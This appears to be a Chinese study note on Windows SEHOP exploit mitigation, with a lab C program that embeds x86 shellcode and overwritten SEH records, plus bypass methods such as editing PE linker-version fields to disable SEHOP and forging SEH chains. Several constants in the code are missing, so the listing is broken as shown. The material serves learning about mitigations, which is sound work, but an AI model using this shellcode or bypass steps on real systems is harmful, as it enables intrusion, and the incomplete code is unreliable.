OD: SEHOP

SEHOP，Structed Exception Handling Overwrite Protection，一种比 SafeSEH 更严厉的保护机制。Windows Vista SP1 开始支持 SEHOP，但 Vista 和 Win7 中默认不启用，可以对这两个版本的系统打补丁以支持 SEHOP，但一个更简单的方法是：

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\kernel\DisableExceptionChainValidation = dword:

可以写一个带 _try{} _except() 的简单程序，用 OllyDbg 加载然后修改 next seh 链表来对比观察 win7 启用 SEHOP 后的保护效果。我写了一段不算方便的代码来实验，因为其中有个宏可以在以后借用，先存下来：

 // sehop.cpp : Defines the entry point for the console application.
 //
 // os:  win7
 // ide: vs2008 (turn off Optimization/ASLR/GS/DEP)
 // link option: /SAFESEH:NO

 #include "stdafx.h"
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
 #include <windows.h>

 #define D2B(x,c) ((byte)(((unsigned int)x)>>(32-c*8))) // Dword to Byte

 char shellcode[]=
 "\x60\x89\xE0\x83\xE4\xFC\x50\x31\xD2\x52\x68\x63\x61\x6C\x63\x54"
 "\x59\x52\x51\x64\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30"
 "\x8B\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE"
 "\x8B\x54\x1F\x24\x0F\xB7\x2C\x17\x42\x42\xAD\x81\x3C\x07\x57\x69"
 "\x6E\x45\x75\xF0\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\xAE\xFF\xD7\x58"
 "\x58\x5C\x61\xC3"               // 84b winexec cmd.exe shellcode
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 "\x90\x90\x90\x90"
 "\x78\xFF\x12\x00" // next seh
 "\x18\x30\x40\x00" // seh : shellcode
 ;

 void test()
 {
     char buf[];
     memcpy(buf,shellcode,);
     int x=;
     __try{
         x=/x;
     } __except() {
         printf("[fatal] divided by zero!\n");
         __asm{
             lea eax,shellcode
             call eax  // push next_eip, jmp eax
         }
         exit();
     }
 }

 int _tmain(int argc, _TCHAR* argv[])
 {
     test();
     return ;
 }

注意其中的 D2B() 宏，在代码中动态定位时可以借用（sprintf(address,"%c%c%c%c",D2B(seh,4),D2B(seh,3),D2B(seh,2),D2B(seh,1))），另外，弹出 calc.exe 的 shellcode 具有 function 特性，即执行过程中会保存现场，执行完了会返回，实验时应该用 lea eax, shellcode; call eax（call eax 会先 push next_eip 再 jmp）

栈帧中的 S.E.H 函数是以单链表的形式存放的：node(next_seh,eh) -> node(next_seh,eh) -> ... -> node(0xFFFFFFFF,system_final_eh)

SEHOP 的任务就是在转入异常处理之前检查 S.E.H 链表的最后一个节点是否为 system_final_eh，如果是则检测成功，否则失败：

 if (process_flag & 0x40 == )            // 如果没有 SEH 记录则不进行检测
 {
     if (record != 0xFFFFFFFF)            // 开始检测
     {
         do {
             if (record < stack_bottom || record > stack_top)                // SEH 记录必须位于栈中
                 goto corruption;
             if ((char*)record + sizeof(EXCEPTION_REGISTRATION) > stack_top) // SEH 结构完全在栈中
                 goto corruption;
             if ((record & ) !=)                                           // SEH 记录必须 4 字节对齐
                 goto corruption;
             handler = record -> handler;
             if (handler >= stack_bottom && handler < stack_top)             // SEH 处理函数不能在栈中
                 goto corruption;
             record = record -> next;                                        // 继续遍历
         } while (record != 0xFFFFFFFF);
         if ((TEB -> word_at_offset_0xFCA & 0x200) != )
             if (handler != &FinalExceptionHandler)                          // 核心检测：未节点是否为系统 EH
                 goto corruption;
     }
 }

作为对 SafeSEH 强有力的补充，SEHOP 检查发生在 SafeSEH 的 RtlIsValidHandler 函数校验前，这样一来，利用攻击加载模块之外的地址、堆地址和未启用 SafeSEH 模块的方法都行不通了。理论上，剩下的攻击思路只有三条：

  因为 SEHOP 只对 SEH 提供保护，故避开 SEH，攻击返回地址（或 GS 关闭）或虚函数等
  利用未启用 SEHOP 的模块
  伪造 SEH 链

利用未启用 SEHOP 的模块

微软在编译器中没有提供关闭 SEHOP 的选项，但出于兼容性考虑，对一些程序禁用了 SEHOP，例如经过 Armadilo 加壳的软件。

操作系统会根据 PE 头中的 MajorLinkerVersion 和 MinorLinkerVersion 来判断是否为程序禁用 SEHOP。如果将这两个选项分别设置为 0x53 和 0x52 来模拟经过 Armadilo 加壳的程序，就可以禁用 SEHOP 了（可以用 CFF Explorer 打开程序，在 Optional Header 中进行设置）。

可以用这种方法并结合 利用未启用 SafeSEH 的模块绕过 SafeSEH 一节来绕过 SEHOP 和 SafeSEH。

伪造 S.E.H 链

实际环境中，要实现 S.E.H 的伪造是非常困难的事，因为前提条件很多：

. 首先要求系统 ASLR 不能启用，否则 FinalExceptionHandler 地址在重启后会变动，溢出质量大大降低。
. 伪造的 S.E.H 所处的位置必须在当前栈中，且能被  整除。
. 伪造的 S.E.H 中的 next_seh 必须指向正常的 seh 链，其未节点必须是 FinalExceptionHandler。
. 突破 SEHOP 后还需要突破 SafeSEH。

书中的示例用了 利用未启用 SafeSEH 的模块绕过 SafeSEH 一节中的 dll 模块，并且关闭了 DEP 和 ASLR。

Win7 不能通过 int 3 转入 OllyDbg 调试，只能直接用 OllyDbg 加载程序调试，为什么呢？